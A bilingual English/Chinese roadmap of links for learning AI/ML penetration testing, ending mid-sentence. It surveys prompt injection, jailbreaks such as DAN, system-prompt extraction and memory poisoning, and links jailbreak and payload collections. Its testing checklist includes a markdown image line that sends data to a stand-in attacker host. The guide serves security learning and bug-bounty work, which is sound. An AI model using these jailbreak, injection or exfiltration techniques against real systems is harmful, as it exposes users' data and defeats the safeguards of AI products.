--- START OF FILE Paste March 14, 2026 - 5:49PM --- # 🛡️ AI/ML Pentesting Roadmap / AI/ML 渗透测试路线图 ![output](https://github.com/user-attachments/assets/ca866203-8e57-4063-9d63-4ac919ed7b07) > A comprehensive, structured guide to learning AI/ML security and penetration testing — from zero to practitioner. > > （一份全面、结构化的 AI/ML 安全与渗透测试学习指南 —— 从零基础到从业者。） --- ## 📋 Table of Contents / 目录 1. [Prerequisites / 先决条件](#prerequisites--先决条件) 2.[Phase 1 — Foundations / 第一阶段 — 基础知识](#phase-1--foundations--第一阶段--基础知识) 3. [Phase 2 — AI/ML Security Concepts / 第二阶段 — AI/ML 安全概念](#phase-2--aiml-security-concepts--第二阶段--aiml-安全概念) 4.[Phase 3 — Prompt Injection & LLM Attacks / 第三阶段 — 提示词注入与 LLM 攻击](#phase-3--prompt-injection--llm-attacks--第三阶段--提示词注入与-llm-攻击) 5. [Phase 4 — Hands-On Practice / 第四阶段 — 动手实践](#phase-4--hands-on-practice--第四阶段--动手实践) 6.[Phase 5 — Advanced Exploitation Techniques / 第五阶段 — 高级漏洞利用技术](#phase-5--advanced-exploitation-techniques--第五阶段--高级漏洞利用技术) 7.[Phase 6 — Real-World Research & Bug Bounty / 第六阶段 — 真实世界研究与漏洞赏金](#phase-6--real-world-research--bug-bounty--第六阶段--真实世界研究与漏洞赏金) 8.[Standards, Frameworks & References / 标准、框架与参考资料](#standards-frameworks--references--标准框架与参考资料) 9.[Tools & Repositories / 工具与代码库](#tools--repositories--工具与代码库) 10.[Books, PDFs & E-Books / 书籍、PDF 与电子书](#books-pdfs--e-books--书籍pdf-与电子书) 11. [Video Resources / 视频资源](#video-resources--视频资源) 12. [CTF & Competitions / CTF 与安全竞赛](#ctf--competitions--ctf-与安全竞赛) 13. [Bug Bounty Programs / 漏洞赏金计划](#bug-bounty-programs--漏洞赏金计划) 14. [Community & News / 社区与资讯](#community--news--社区与资讯) 15.[Suggested Learning Path by Experience Level / 按经验水平推荐的学习路径](#suggested-learning-path-by-experience-level--按经验水平推荐的学习路径) --- ## Prerequisites / 先决条件 Before diving into AI/ML pentesting, ensure you have the following foundation: 在深入了解 AI/ML 渗透测试之前，请确保您具备以下基础： ### General Security Basics / 通用安全基础 - [PortSwigger Web Security Academy](https://portswigger.net/web-security) — Free, hands-on web security training (XSS, SQLi, SSRF, etc.) / 免费、实操性的 Web 安全培训（XSS、SQLi、SSRF 等） - [TryHackMe — Pre-Security Path](https://tryhackme.com/path/outline/presecurity) / 预备安全路径 - [HackTheBox Academy](https://academy.hackthebox.com/) - [OWASP Top 10](https://owasp.org/www-project-top-ten/) ### Programming (Python is essential) / 编程（Python 是必备的） -[Python for Everybody — Coursera](https://www.coursera.org/specializations/python) / Python 编程入门 -[Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) — Free online book / 免费在线书籍《Python编程快速上手》 - [CS50P — Python](https://cs50.harvard.edu/python/) — Free Harvard course / 哈佛大学免费课程 ### APIs & HTTP / API 与 HTTP - Understand REST APIs, HTTP methods, headers, and authentication flows / 了解 REST API、HTTP 方法、标头和身份验证流程 - [Postman Learning Center](https://learning.postman.com/) / Postman 学习中心 - Practice with tools: `curl`, `Burp Suite`, `Postman` / 熟练使用这些工具进行实践 --- ## Phase 1 — Foundations / 第一阶段 — 基础知识 ### 1.1 Machine Learning Fundamentals / 1.1 机器学习基础 | Resource (资源) | Type (类型) | Cost (费用) | |---|---|---| | [Machine Learning — Andrew Ng (Coursera)](https://www.coursera.org/learn/machine-learning)
机器学习 — 吴恩达 | Course
课程 | Audit Free
免费旁听 | | [Introduction to ML — edX](https://www.edx.org/course/introduction-to-machine-learning)
机器学习入门 | Course
课程 | Audit Free
免费旁听 | |[fast.ai Practical Deep Learning](https://course.fast.ai/)
实用深度学习 | Course
课程 | Free
免费 | | [Google Machine Learning Crash Course](https://developers.google.com/machine-learning/crash-course)
Google 机器学习速成课程 | Course
课程 | Free
免费 | | [Kaggle ML Courses](https://www.kaggle.com/learn)
Kaggle 机器学习课程 | Course
课程 | Free
免费 | | [3Blue1Brown — Neural Networks](https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi)
神经网络科普视频 | Video
视频 | Free
免费 | ### 1.2 Large Language Models (LLMs) / 1.2 大语言模型 (LLM) Understanding how LLMs work is critical before attacking them. 在对 LLM 发起攻击之前，了解它们的工作原理至关重要。 | Resource (资源) | Type (类型) | Cost (费用) | |---|---|---| | [Andrej Karpathy — Intro to LLMs](https://www.youtube.com/watch?v=zjkBMFhNj_g)
深入浅出 LLM | Video
视频 | Free
免费 | |[Andrej Karpathy — Let's build GPT](https://www.youtube.com/watch?v=kCc8FmEb1nY)
让我们一起构建 GPT | Video
视频 | Free
免费 | | [Hugging Face NLP Course](https://huggingface.co/learn/nlp-course)
Hugging Face NLP 课程 | Course
课程 | Free
免费 | | [LLM University by Cohere](https://llmu.cohere.com/)
Cohere LLM 大学 | Course
课程 | Free
免费 | | [Prompt Engineering Guide](https://www.promptingguide.ai/)
提示词工程指南 | Guide
指南 | Free
免费 | --- ## Phase 2 — AI/ML Security Concepts / 第二阶段 — AI/ML 安全概念 ### 2.1 Core Security Concepts / 2.1 核心安全概念 - [OWASP LLM Top 10](https://genai.owasp.org/) — The definitive OWASP list for LLM vulnerabilities / OWASP 官方的 LLM 十大漏洞列表 -[MITRE ATLAS Matrix](https://atlas.mitre.org/matrices/ATLAS/) — Adversarial Tactics, Techniques, and Common Knowledge for AI systems / AI 系统对抗性战术、技术和常识矩阵 -[NIST AI Risk Management Framework](https://airc.nist.gov/Home) — Federal AI risk guidance / 美国联邦 AI 风险指南 - [IBM — AI Security Overview](https://www.ibm.com/topics/ai-security) / IBM AI 安全概述 - [AI Village — LLM Threat Modeling](https://aivillage.org/large%20language%20models/threat-modeling-llm/) / LLM 威胁建模 - [Promptingguide — Adversarial Attacks](https://www.promptingguide.ai/risks/adversarial) / 对抗性攻击指南 -[HackerOne — Ultimate Guide to Managing Ethical and Security Risks in AI](https://www.hackerone.com/resources/e-book/the-ultimate-guide-to-managing-ethical-and-security-risks-in-ai) / 管理 AI 伦理和安全风险的终极指南 ### 2.2 Attack Surface Overview / 2.2 攻击面概述 Key attack vectors in AI/ML systems: AI/ML 系统中的主要攻击向量（攻击面）： - **Prompt Injection (提示词注入)** — Manipulating LLM behavior through crafted inputs / 通过精心构造的输入操纵 LLM 的行为 - **Jailbreaking (越狱)** — Bypassing safety filters and guardrails / 绕过安全过滤和护栏 - **Model Inversion (模型逆向)** — Extracting training data from a model / 从模型中提取训练数据 - **Membership Inference (成员推理)** — Determining if data was in training set / 判断特定数据是否在训练集中 - **Data Poisoning (数据投毒)** — Corrupting training data to influence behavior / 污染训练数据以影响模型行为 - **Adversarial Examples (对抗样本)** — Perturbed inputs that fool classifiers / 添加微小扰动以欺骗分类器的输入 - **Model Extraction/Stealing (模型提取/窃取)** — Cloning a model via API queries / 通过 API 查询克隆（窃取）模型 - **Supply Chain Attacks (供应链攻击)** — Malicious models/weights on platforms like Hugging Face / Hugging Face 等平台上的恶意模型/权重 - **Insecure Plugin/Tool Integration (不安全的插件/工具集成)** — Exploiting LLM agents with external tools / 利用外部工具漏洞攻击 LLM 代理 - **Training Data Exfiltration (训练数据外泄)** — Extracting memorized private data / 提取模型记忆的私密数据 - **Denial of Service (拒绝服务)** — Overloading models via crafted prompts / 通过特制提示词使模型过载 ### 2.3 MLOps & Infrastructure Security / 2.3 MLOps 与基础设施安全 -[From MLOps to MLOops — JFrog](https://jfrog.com/blog/from-mlops-to-mloops-exposing-the-attack-surface-of-machine-learning-platforms/) / 暴露机器学习平台的攻击面 - [Offensive ML Playbook](https://wiki.offsecml.com/Welcome+to+the+Offensive+ML+Playbook) / 进攻性机器学习手册 - [AI Exploits — ProtectAI](https://github.com/protectai/ai-exploits) / AI 漏洞利用集合 -[Awesome AI Security — ottosulin](https://github.com/ottosulin/awesome-ai-security) / 优秀的 AI 安全资源库 --- ## Phase 3 — Prompt Injection & LLM Attacks / 第三阶段 — 提示词注入与 LLM 攻击 ### 3.1 Understanding Prompt Injection / 3.1 理解提示词注入 - [IBM Guide on Prompt Injection](https://www.ibm.com/topics/prompt-injection) / IBM 提示词注入指南 - [Simon Willison's Explanation of Prompt Injection](https://simonwillison.net/2023/May/2/prompt-injection-explained/) / Simon Willison 对提示词注入的解释 - [Learn Prompting — Prompt Hacking and Injection](https://learnprompting.org/docs/prompt_hacking/injection) / 提示词黑客技术与注入 - [PortSwigger LLM Attacks](https://portswigger.net/web-security/llm-attacks) / PortSwigger LLM 攻击 - [NCC Group — Exploring Prompt Injection Attacks](https://research.nccgroup.com/2022/12/05/exploring-prompt-injection-attacks/) / 探索提示词注入攻击 - [Bugcrowd — AI Vulnerability Deep Dive: Prompt Injection](https://www.bugcrowd.com/blog/ai-vulnerability-deep-dive-prompt-injection/) / AI 漏洞深度剖析：提示词注入 ### 3.2 Jailbreaking Techniques / 3.2 越狱技术 - **DAN (Do Anything Now)** — Classic jailbreak technique:[Chatgpt-DAN Repo](https://github.com/alexisvalentino/Chatgpt-DAN) / 经典越狱技术 - **Role-playing / Persona manipulation (角色扮演 / 人设操纵)** - **Token smuggling (Token 走私/伪装)** — Encoding instructions to bypass filters / 对指令进行编码以绕过过滤器 - **Prompt leaking (提示词泄露)** — Extracting system prompts / 提取系统提示词 - **Indirect prompt injection (间接提示词注入)** — Attacks via documents, web content, memory / 通过文档、网页内容或记忆进行的攻击 - [WideOpenAI — Jailbreak Collection](https://github.com/WibblyOWobbly/WideOpenAI) / 越狱合集 - [PayloadsAllTheThings — Prompt Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/Prompt%20Injection/) / 提示词注入 Payload - [PALLMs — Payloads for Attacking LLMs](https://github.com/mik0w/pallms/) / 攻击 LLM 的 Payload 集合 ### 3.3 Indirect Prompt Injection / 3.3 间接提示词注入 A more sophisticated attack where malicious instructions are injected via external data sources (emails, documents, websites) that an LLM agent processes. 一种更复杂的攻击方式，攻击者通过 LLM 代理处理的外部数据源（电子邮件、文档、网站）注入恶意指令。 - [Greshake — LLM Security / Not What You've Signed Up For](https://github.com/greshake/llm-security) / LLM 安全研究 - [Embrace The Red — Blog](https://embracethered.com/blog/) — Comprehensive blog covering real-world indirect injection / 涵盖真实世界间接注入的全面博客 - [GitHub Copilot Chat: Prompt Injection to Data Exfiltration](https://embracethered.com/blog/posts/2024/github-copilot-chat-prompt-injection-data-exfiltration/) / 从提示词注入到数据外泄 - [Google AI Studio Data Exfiltration](https://embracethered.com/blog/posts/2024/google-ai-studio-data-exfiltration-now-fixed/) / Google AI Studio 数据外泄漏洞 ### 3.4 Advanced Prompt Attack Techniques / 3.4 高级提示词攻击技术 -[How to Persuade an LLM to Change Its System Prompt](https://medium.com/@KonradDaWo/how-to-persuade-a-llm-to-change-its-system-prompt-to-aid-in-ctf-challenges-e74c1d570ed3) / 如何说服 LLM 更改其系统提示词 - [Bugcrowd Ultimate Guide to AI Security (PDF)](https://www.bugcrowd.com/wp-content/uploads/2024/04/Ultimate-Guide-AI-Security.pdf) / Bugcrowd AI 安全终极指南 -[Snyk OWASP Top 10 LLM (PDF)](https://go.snyk.io/rs/677-THP-415/images/owasp-top-10-llm.pdf) / Snyk OWASP LLM Top 10 - [Vanna.AI Prompt Injection RCE — JFrog](https://jfrog.com/blog/prompt-injection-attack-code-execution-in-vanna-ai-cve-2024-5565/) / 导致 RCE 的提示词注入攻击 --- ## Phase 4 — Hands-On Practice / 第四阶段 — 动手实践 ### 4.1 Interactive Platforms & Games / 4.1 互动平台与游戏 | Platform (平台) | Description (描述) | Link (链接) | |---|---|---| | Gandalf | LLM prompt testing game — extract the password
LLM 提示词测试游戏 — 提取密码 | [gandalf.lakera.ai](https://gandalf.lakera.ai/) | | Prompt Airlines | Gamified prompt injection learning
游戏化的提示词注入学习 | [promptairlines.com](https://promptairlines.com/) | | Crucible | Interactive AI security challenges by Dreadnode
Dreadnode 出品的交互式 AI 安全挑战 |[crucible.dreadnode.io](https://crucible.dreadnode.io/) | | Immersive Labs AI | Structured AI security exercises
结构化的 AI 安全练习 |[prompting.ai.immersivelabs.com](https://prompting.ai.immersivelabs.com/) | | Secdim AI Games | Prompt injection games
提示词注入游戏 |[play.secdim.com/game/ai](https://play.secdim.com/game/ai) | | HackAPrompt | Community prompt injection competition
社区提示词注入挑战赛 | [hackaprompt.com](https://www.hackaprompt.com/) | | PortSwigger LLM Labs | Hands-on web LLM attack labs
Web LLM 攻击实操实验 | [Web Security Academy](https://portswigger.net/web-security/llm-attacks) | ### 4.2 Vulnerable-by-Design Projects / 4.2 故意设计漏洞的项目（靶场） | Repository (代码库) | Description (描述) | |---|---| | [Damn Vulnerable LLM Agent — WithSecureLabs](https://github.com/WithSecureLabs/damn-vulnerable-llm-agent) | Intentionally vulnerable LLM agent
故意留下漏洞的 LLM 代理 | | [ScottLogic Prompt Injection Playground](https://github.com/ScottLogic/prompt-injection) | Local prompt injection lab
本地提示词注入实验室 | | [Greshake LLM Security Tools](https://github.com/greshake/llm-security) | Proof-of-concept attacks
概念验证 (PoC) 攻击合集 | ### 4.3 CTF Writeups to Study / 4.3 值得学习的 CTF 题解 (Writeups) -[CTF Writeup — HackPack CTF 2024 LLM Edition](https://medium.com/@embossdotar/ctf-writeup-hackpack-ctf-2024-llm-edition-yellowdog-1-db02a36e1051) / HackPack CTF 2024 LLM 版本题解 - [LLM Pentest Writeups — System Weakness](https://systemweakness.com/large-language-model-llm-pen-testing-part-i-2ef96acb6763) / LLM 渗透测试实战解析 --- ## Phase 5 — Advanced Exploitation Techniques / 第五阶段 — 高级漏洞利用技术 ### 5.1 Agent & Tool Integration Attacks / 5.1 代理与工具集成攻击 When LLMs are integrated with tools (code execution, web browsing, file systems), the attack surface expands dramatically. 当 LLM 与工具（代码执行、网页浏览、文件系统）集成时，攻击面会急剧扩大。 - [LLM Pentest: Leveraging Agent Integration for RCE — BlazeInfoSec](https://www.blazeinfosec.com/post/llm-pentest-agent-hacking/) / 利用代理集成实现远程代码执行 (RCE) -[LLM Pentest: Leveraging Agent Integration For RCE (full)](https://www.blazeinfosec.com/post/llm-pentest-agent-hacking/) / 代理黑客攻击完整版 -[Dumping a Database with an AI Chatbot — Synack](https://www.synack.com/blog/dumping-a-database-with-an-ai-chatbot/) / 使用 AI 聊天机器人脱库 (Dump DB) -[CSWSH Meets LLM Chatbots](https://medium.com/@r3vsh/cswsh-meets-llm-chatbots-3ab09af5ab6f) / CSWSH 漏洞在 LLM 聊天机器人中的利用 ### 5.2 Data Exfiltration via LLMs / 5.2 通过 LLM 进行数据外泄 - [Google AI Studio: LLM-Powered Data Exfiltration](https://embracethered.com/blog/posts/2024/google-ai-studio-data-exfiltration-now-fixed/) / Google AI Studio: 基于 LLM 的数据外泄 - [Google AI Studio Mass Data Exfil (Regression)](https://embracethered.com/blog/posts/2024/google-aistudio-mass-data-exfil/) / Google AI Studio 大规模数据外泄（回归漏洞） -[Hacking Google Bard — From Prompt Injection to Data Exfiltration](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) / 黑客攻击 Google Bard — 从提示词注入到数据外泄 - [AWS Amazon Q Markdown Rendering Vulnerability](https://embracethered.com/blog/posts/2024/aws-amazon-q-fixes-markdown-rendering-vulnerability/) / AWS Amazon Q Markdown 渲染漏洞 - [GitHub Copilot Chat Data Exfiltration](https://embracethered.com/blog/posts/2024/github-copilot-chat-prompt-injection-data-exfiltration/) / GitHub Copilot Chat 数据外泄 ### 5.3 Account Takeover & Authentication Attacks / 5.3 账户接管与身份验证攻击 -[ChatGPT Account Takeover — Wildcard Web Cache Deception](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) / ChatGPT 账户接管 — 泛域名 Web 缓存欺骗 - [Shockwave — Critical ChatGPT Vulnerability (Web Cache Deception)](https://www.shockwave.cloud/blog/shockwave-works-with-openai-to-fix-critical-chatgpt-vulnerability) / 严重 ChatGPT 漏洞（Web 缓存欺骗） -[Security Flaws in ChatGPT Ecosystem — Salt Security](https://salt.security/blog/security-flaws-within-chatgpt-extensions-allowed-access-to-accounts-on-third-party-websites-and-sensitive-data) / ChatGPT 生态系统中的安全缺陷 - [OpenAI Allowed Unlimited Credit on New Accounts — Checkmarx](https://checkmarx.com/blog/openai-allowed-unlimited-credit-on-new-accounts/) / OpenAI 允许新账户获得无限额度 ### 5.4 XSS & Web Vulnerabilities in AI Products / 5.4 AI 产品中的 XSS 与 Web 漏洞 -[XSS Marks the Spot: Digging Up Vulnerabilities in ChatGPT — Imperva](https://www.imperva.com/blog/xss-marks-the-spot-digging-up-vulnerabilities-in-chatgpt/) / 挖掘 ChatGPT 中的 XSS 漏洞 - [Zeroday on GitHub Copilot](https://gccybermonks.com/posts/github/) / GitHub Copilot 上的 0day 漏洞 ### 5.5 Model & Infrastructure Attacks / 5.5 模型与基础设施攻击 -[Shelltorch Explained: Multiple Vulnerabilities in TorchServe (CVSS 9.9)](https://www.oligo.security/blog/shelltorch-explained-multiple-vulnerabilities-in-pytorch-model-server) / TorchServe 中的多个漏洞解析 -[From ChatBot to SpyBot: ChatGPT Post-Exploitation — Imperva](https://www.imperva.com/blog/from-chatbot-to-spybot-chatgpt-post-exploitation/) / ChatGPT 后渗透利用：从聊天机器人到间谍机器人 ### 5.6 Persistent Attacks & Memory Exploitation / 5.6 持久化攻击与记忆利用 - [ChatGPT Persistent Denial of Service via Memory Attacks — Embrace the Red](https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/) / 通过记忆攻击实现 ChatGPT 的持久化拒绝服务 ### 5.7 Adversarial Machine Learning / 5.7 对抗性机器学习 - [CleverHans Library](https://github.com/cleverhans-lab/cleverhans) — Adversarial example library / 对抗样本库 -[ART (Adversarial Robustness Toolbox) — IBM](https://github.com/Trusted-AI/adversarial-robustness-toolbox) / 对抗性鲁棒性工具箱 - [Foolbox](https://github.com/bethgelab/foolbox) — Python toolbox for adversarial attacks / 用于对抗性攻击的 Python 工具箱 --- ## Phase 6 — Real-World Research & Bug Bounty / 第六阶段 — 真实世界研究与漏洞赏金 ### 6.1 Notable Research & Disclosures / 6.1 著名研究与漏洞披露 - [We Hacked Google AI for $50,000 — LandH](https://www.landh.tech/blog/20240304-google-hack-50000/) / 我们黑了 Google AI 获得 50,000 美元赏金 -[New Google Gemini Content Manipulation Vulnerabilities — HiddenLayer](https://hiddenlayer.com/research/new-google-gemini-content-manipulation-vulns-found/#Overview) / 新的 Google Gemini 内容操纵漏洞 - [Jailbreak of Meta AI (Llama 3.1) Revealing Config Details](https://medium.com/@kiranmaraju/jailbreak-of-meta-ai-llama-3-1-revealing-configuration-details-9f0759f5006a) / Meta AI (Llama 3.1) 越狱并泄露配置详情 -[Bypass Instructions to Manipulate Google Bard](https://medium.com/@kiranmaraju/bypass-instructions-to-manipulate-google-bard-ai-conversational-generative-ai-chatbot-to-reveal-ac23156d5eee) / 绕过指令以操纵 Google Bard -[My LLM Bug Bounty Journey on Hugging Face Hub](https://medium.com/@zpbrent/my-llm-bug-bounty-journey-on-hugging-face-hub-via-protect-ai-9f3a1bc72c2e) / 我在 Hugging Face Hub 的 LLM 漏洞赏金之旅 -[Anonymised Penetration Test Report — Volkis](https://handbook.volkis.com.au/assets/doc/Volkis%20-%20Anonymous%20Client%20-%20Penetration%20Test%20May%202023.pdf) / 匿名化的渗透测试报告样本 -[Lakera Real World LLM Exploits (PDF)](https://lakera-marketing-public.s3.eu-west-1.amazonaws.com/Lakera%2BAI%2B-%2BReal%2BWorld%2BLLM%2BExploits%2B(Jan%2B2024)-min.pdf) / Lakera 真实世界 LLM 漏洞利用案例集 ### 6.2 How to Find LLM Vulnerabilities / 6.2 如何发现 LLM 漏洞 Key areas to test when assessing an LLM-powered application: 在评估基于 LLM 的应用程序时，需测试的关键领域： 1. **System prompt extraction (系统提示词提取)** — Can you leak the hidden system prompt? / 你能泄露隐藏的系统提示词吗？ 2. **Instruction override (指令覆盖)** — Can you ignore system-level instructions? / 你能忽略系统级指令吗？ 3. **Plugin/tool abuse (插件/工具滥用)** — Can agent tools be misused (SSRF, RCE, SQLi)? / 代理工具是否会被滥用（如引发 SSRF、RCE、SQLi）？ 4. **Data exfiltration via markdown (通过 Markdown 外泄数据)** — Does the UI render `![](https://attacker.com?q=...)` ? / UI 会渲染图片标签进行自动请求吗？ 5. **Persistent injection via memory (通过记忆持久化注入)** — Can you inject instructions that persist in memory/RAG? / 你能注入在记忆/RAG 中持久存在的指令吗？ 6. **PII leakage (PII 泄露)** — Does the model reveal training data or other users' data? / 模型是否泄露了训练数据或其他用户的数据？ 7. **Cross-user data leakage (跨用户数据泄露)** — In multi-tenant apps, can you access other users' contexts? / 在多租户应用中，你能访问其他用户的上下文吗？ 8. **Authentication bypass (绕过身份验证)** — Can you trick the LLM into performing privileged actions? / 你能诱骗 LLM 执行特权操作吗？ --- ## Standards, Frameworks & References / 标准、框架与参考资料 | Resource (资源) | Description (描述) | |---|---| |[OWASP LLM Top 10](https://genai.owasp.org/) | Top 10 LLM vulnerability classes
十大 LLM 漏洞类别 | | [MITRE ATLAS](https://atlas.mitre.org/matrices/ATLAS/) | AI adversarial threat matrix
AI 对抗性威胁矩阵 | |[NIST AI RMF](https://airc.nist.gov/Home) | US Federal AI risk management framework
美国联邦 AI 风险管理框架 | | [OWASP AI Exchange](https://owaspai.org/) | Cross-industry AI security guidance
跨行业 AI 安全指南 | |[ISO/IEC 42001](https://www.iso.org/standard/81230.html) | International AI management standard
国际 AI 管理标准 | | [ENISA AI Threat Landscape](https://www.enisa.europa.eu/publications/enisa-threat-landscape-for-artificial-intelligence) | EU AI threat landscape report
欧盟 AI 威胁态势报告 | |[Google Secure AI Framework (SAIF)](https://safety.google/cybersecurity-advancements/saif/) | Google's AI security framework
Google AI 安全框架 | --- ## Tools & Repositories / 工具与代码库 ### Offensive Tools / 攻击性工具 | Tool (工具) | Purpose (用途) | |---|---| | [Garak](https://github.com/leondz/garak) | LLM vulnerability scanner
LLM 漏洞扫描器 | | [PyRIT](https://github.com/Azure/PyRIT) | Microsoft's Python Risk Identification Toolkit for LLMs
微软出品的 LLM 风险识别工具包 | | [LLM Fuzzer](https://github.com/mnns/LLMFuzzer) | Fuzzing framework for LLMs
LLM 模糊测试框架 | | [PALLMs](https://github.com/mik0w/pallms/) | Payloads for attacking LLMs
攻击 LLM 的 Payload 集合 | | [PromptInject](https://github.com/agencyenterprise/PromptInject) | Prompt injection attack framework
提示词注入攻击框架 | | [PurpleLlama / CyberSecEval](https://github.com/facebookresearch/PurpleLlama) | Meta's LLM security evaluation
Meta 的 LLM 安全评估工具 | |[LLM Injector](https://github.com/anmolksachan/LLMInjector) | LLM Injector Burp Suite Extention
Burp Suite 的 LLM 注入插件 | ### Defensive / Scanning Tools / 防御/扫描工具 | Tool (工具) | Purpose (用途) | |---|---| | [Rebuff](https://github.com/protectai/rebuff) | Prompt injection detection
提示词注入检测 | | [NeMo Guardrails](https://github.com/NVIDIA/NeMo-Guardrails) | NVIDIA guardrail framework
NVIDIA 护栏防护框架 | |[Lakera Guard](https://www.lakera.ai/) | Commercial prompt injection protection
商业提示词注入防护产品 | | [AI Exploits — ProtectAI](https://github.com/protectai/ai-exploits) | Real-world ML exploit collection
真实世界机器学习漏洞利用合集 | | [ModelScan](https://github.com/protectai/modelscan) | Scan ML model files for malicious code
扫描机器学习模型文件中的恶意代码 | ### Reference Lists / 参考列表 | Resource (资源) | Description (描述) | |---|---| | [Awesome LLM Security — corca-ai](https://github.com/corca-ai/awesome-llm-security) | Curated LLM security list
精选 LLM 安全资源列表 | | [Awesome LLM — Hannibal046](https://github.com/Hannibal046/Awesome-LLM) | Everything LLM including security
包含安全在内的全面 LLM 资源 | | [Awesome AI Security — ottosulin](https://github.com/ottosulin/awesome-ai-security) | General AI security resources
通用 AI 安全资源 | | [LLM Hacker's Handbook](https://github.com/forcesunseen/llm-hackers-handbook) | Comprehensive hacking handbook
综合性黑客攻击手册 | |[PayloadsAllTheThings — Prompt Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/Prompt%20Injection/) | Payload collection
Payload 大全 | | [WideOpenAI](https://github.com/WibblyOWobbly/WideOpenAI) | Jailbreak and bypass collection
越狱和绕过技术合集 | | [Chatgpt-DAN](https://github.com/alexisvalentino/Chatgpt-DAN) | DAN jailbreak collection
DAN 越狱指令合集 | --- ## Books, PDFs & E-Books / 书籍、PDF 与电子书 | Resource (资源) | Link (链接) | |---|---| | LLM Hacker's Handbook
LLM 黑客手册 | [GitHub](https://github.com/forcesunseen/llm-hackers-handbook) | | OWASP Top 10 for LLM (Snyk)
OWASP LLM Top 10 (Snyk 版) | [PDF](https://go.snyk.io/rs/677-THP-415/images/owasp-top-10-llm.pdf) | | Bugcrowd Ultimate Guide to AI Security
Bugcrowd AI 安全终极指南 | [PDF](https://www.bugcrowd.com/wp-content/uploads/2024/04/Ultimate-Guide-AI-Security.pdf) | | Lakera Real World LLM Exploits
Lakera 真实世界 LLM 漏洞利用 | [PDF](https://lakera-marketing-public.s3.eu-west-1.amazonaws.com/Lakera%2BAI%2B-%2BReal%2BWorld%2BLLM%2BExploits%2B(Jan%2B2024)-min.pdf) | | HackerOne Ultimate Guide to Managing AI Risks
HackerOne 管理 AI 风险终极指南 | [E-Book](https://www.hackerone.com/resources/e-book/the-ultimate-guide-to-managing-ethical-and-security-risks-in-ai) | | Adversarial Machine Learning — Goodfellow et al.
对抗性机器学习 — Goodfellow 等人 | [arXiv](https://arxiv.org/abs/1412.6572) | --- ## Video Resources / 视频资源 | Resource (资源) | Link (链接) | |---|---| | Penetration Testing Against and With AI/LLM/ML (Playlist)
针对及利用 AI/LLM/ML 的渗透测试（播放列表） | [YouTube](https://www.youtube.com/playlist?list=PL1Aj7oPl6slsd3Er7PfeOIEFYPDQvMRUf) | | Andrej Karpathy — Intro to Large Language Models
深入浅出大型语言模型 | [YouTube](https://www.youtube.com/watch?v=zjkBMFhNj_g) | | DEF CON AI Village Talks
DEF CON AI Village 演讲 | [YouTube](https://www.youtube.com/@AIVillage) | | LiveOverflow — AI/ML Security
LiveOverflow — AI/ML 安全 | [YouTube](https://www.youtube.com/@LiveOverflow) | | 3Blue1Brown — Neural Networks Series
3Blue1Brown — 神经网络系列 | [YouTube](https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi) | | John Hammond — AI Security Challenges
John Hammond — AI 安全挑战 | [YouTube](https://www.youtube.com/@_JohnHammond) | | Cybrary — Machine Learning Security
Cybrary — 机器学习安全 |[Cybrary](https://www.cybrary.it/course/machine-learning-security/) | --- ## CTF & Competitions / CTF 与安全竞赛 | Competition (竞赛) | Description (描述) | Link (链接) | |---|---|---| | Crucible | Ongoing AI security challenges
持续进行的 AI 安全挑战 | [crucible.dreadnode.io](https://crucible.dreadnode.io/) | | HackAPrompt | Annual prompt injection competition
年度提示词注入大赛 |[hackaprompt.com](https://www.hackaprompt.com/) | | AI Village CTF (DEF CON) | Annual AI security CTF at DEF CON
DEF CON 年度 AI 安全 CTF |[aivillage.org](https://aivillage.org/) | | Gandalf | Self-paced LLM challenge
自定进度的 LLM 挑战游戏 | [gandalf.lakera.ai](https://gandalf.lakera.ai/) | | Prompt Airlines | Gamified injection challenges
游戏化的注入挑战 | [promptairlines.com](https://promptairlines.com/) | | Hack The Box AI Challenges | HTB AI-themed challenges
HTB AI 主题挑战 |[hackthebox.com](https://www.hackthebox.com/) | | Secdim AI Games | Web-based AI security games
基于 Web 的 AI 安全游戏 | [play.secdim.com/game/ai](https://play.secdim.com/game/ai) | --- ## Bug Bounty Programs / 漏洞赏金计划 AI/ML security bug bounties are growing rapidly. Target these platforms: AI/ML 安全漏洞赏金计划正在快速增长。可以将以下平台作为目标： | Program (计划) | Scope (范围) | Link (链接) | |---|---|---| | OpenAI Bug Bounty | ChatGPT, API, plugins
ChatGPT、API、插件 | [bugcrowd.com/openai](https://bugcrowd.com/openai) | | Google AI Bug Bounty | Gemini, Bard, Vertex AI
Gemini、Bard、Vertex AI |[bughunters.google.com](https://bughunters.google.com/) | | Meta AI Bug Bounty | Llama models, Meta AI
Llama 模型、Meta AI |[facebook.com/whitehat](https://www.facebook.com/whitehat) | | HuggingFace via ProtectAI | Hub, models, spaces
平台 Hub、模型、Spaces | [huntr.com](https://huntr.com/) | | Anthropic Bug Bounty | Claude, API
Claude、API |[anthropic.com/security](https://www.anthropic.com/security) | | Microsoft (Copilot, Azure AI) | Copilot, Azure OpenAI
Copilot、Azure OpenAI |[msrc.microsoft.com](https://msrc.microsoft.com/create-report) | | Huntr (AI/ML focused) | Open source ML libraries
开源机器学习库 | [huntr.com](https://huntr.com/) | **Tips for AI bug bounty: / AI 漏洞赏金提示：** - Focus on **data exfiltration via markdown rendering** (common finding) / 重点关注 **通过 Markdown 渲染的数据外泄**（常见发现） - Test **plugin/tool integrations** thoroughly / 彻底测试 **插件/工具集成** - Look for **prompt injection in RAG pipelines** / 寻找 **RAG 管道中的提示词注入** - Explore **memory and persistent context manipulation** / 探索 **记忆与持久化上下文的操纵** - Check for **cross-tenant data leakage** in multi-user deployments / 检查多用户部署中的 **跨租户数据泄露** --- ## Community & News / 社区与资讯 ### Communities / 社区 - [AI Village](https://aivillage.org/) — DEF CON's AI security community / DEF CON 的 AI 安全社区 - [OWASP AI Exchange](https://owaspai.org/) — Open standard for AI security / AI 安全开放标准 - [ProtectAI](https://protectai.com/) — AI security research and tools / AI 安全研究与工具 - [Embrace the Red — Blog](https://embracethered.com/blog/) — Leading blog on LLM security / 领先的 LLM 安全博客 - [Kai Greshake's Research](https://kai-greshake.de/) — Indirect 